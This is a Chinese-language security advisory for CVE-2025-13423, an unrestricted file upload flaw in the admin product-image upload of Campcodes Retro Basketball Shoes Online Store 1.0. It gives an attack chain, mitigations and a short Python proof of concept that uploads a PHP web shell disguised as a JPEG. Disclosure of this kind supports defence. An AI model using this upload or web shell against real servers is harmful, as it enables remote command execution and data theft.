IPBUF安全漏洞报告
English
CVE-2025-13423 CVSS 4.7 中危

CVE-2025-13423 Campcodes Retro Basketball Shoes Online Store 1.0 任意文件上传漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-13423
漏洞类型
无限制文件上传
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Campcodes Retro Basketball Shoes Online Store 1.0

相关标签

CVE-2025-13423无限制文件上传WebShell远程代码执行CampcodesRetro Basketball Shoes Online Store

漏洞概述

CVE-2025-13423是Campcodes公司开发的Retro Basketball Shoes Online Store 1.0版本中的一个高危安全漏洞。该漏洞存在于管理后台的产品图片上传功能中,攻击者可以通过操纵/admin/admin_product.php文件中的product_image参数,实现任意文件上传。成功利用此漏洞可导致远程代码执行、敏感数据泄露或进一步横向渗透。由于该漏洞不需要用户交互且利用代码已公开,对使用该系统的组织机构构成严重安全威胁。建议相关用户立即采取修复措施或应用临时缓解方案。

技术细节

该漏洞属于典型的无限制文件上传漏洞,源于应用程序对用户上传文件缺少充分的验证机制。攻击者可以通过构造恶意请求,将包含WebShell的伪造图片文件上传至服务器。漏洞存在于/admin/admin_product.php文件的产品图片上传功能中,攻击者只需提供精心构造的multipart/form-data请求,将product_image参数替换为恶意PHP代码。由于系统未验证文件内容、扩展名或MIME类型,攻击者能够绕过安全检查,直接将.php文件写入服务器可执行目录。一旦文件上传成功,攻击者即可通过访问该文件在服务器上执行任意命令,完全控制目标系统。

攻击链分析

STEP 1
1
攻击者识别目标站点使用的Campcodes Retro Basketball Shoes Online Store 1.0系统
STEP 2
2
访问管理后台/admin/admin_product.php并获取管理员权限
STEP 3
3
构造包含恶意PHP代码的文件,通过product_image参数上传
STEP 4
4
服务器未验证文件类型和内容,直接保存上传文件
STEP 5
5
访问上传的WebShell文件,通过cmd参数执行系统命令
STEP 6
6
获得服务器远程代码执行权限,可进行数据窃取或进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost' url = f'{target}/admin/admin_product.php' payload = '<?php system($_GET["cmd"]); ?>' files = {'product_image': ('shell.php', payload, 'image/jpeg')} data = {'action': 'add'} r = requests.post(url, files=files, data=data) print(r.text)

影响范围

Campcodes Retro Basketball Shoes Online Store 1.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时措施:1)限制/admin/admin_product.php的访问权限,仅允许受信任的IP地址访问;2)配置Web服务器禁止上传目录执行PHP脚本;3)启用文件上传的实时监控和告警机制;4)定期检查服务器文件系统,及时发现可疑文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表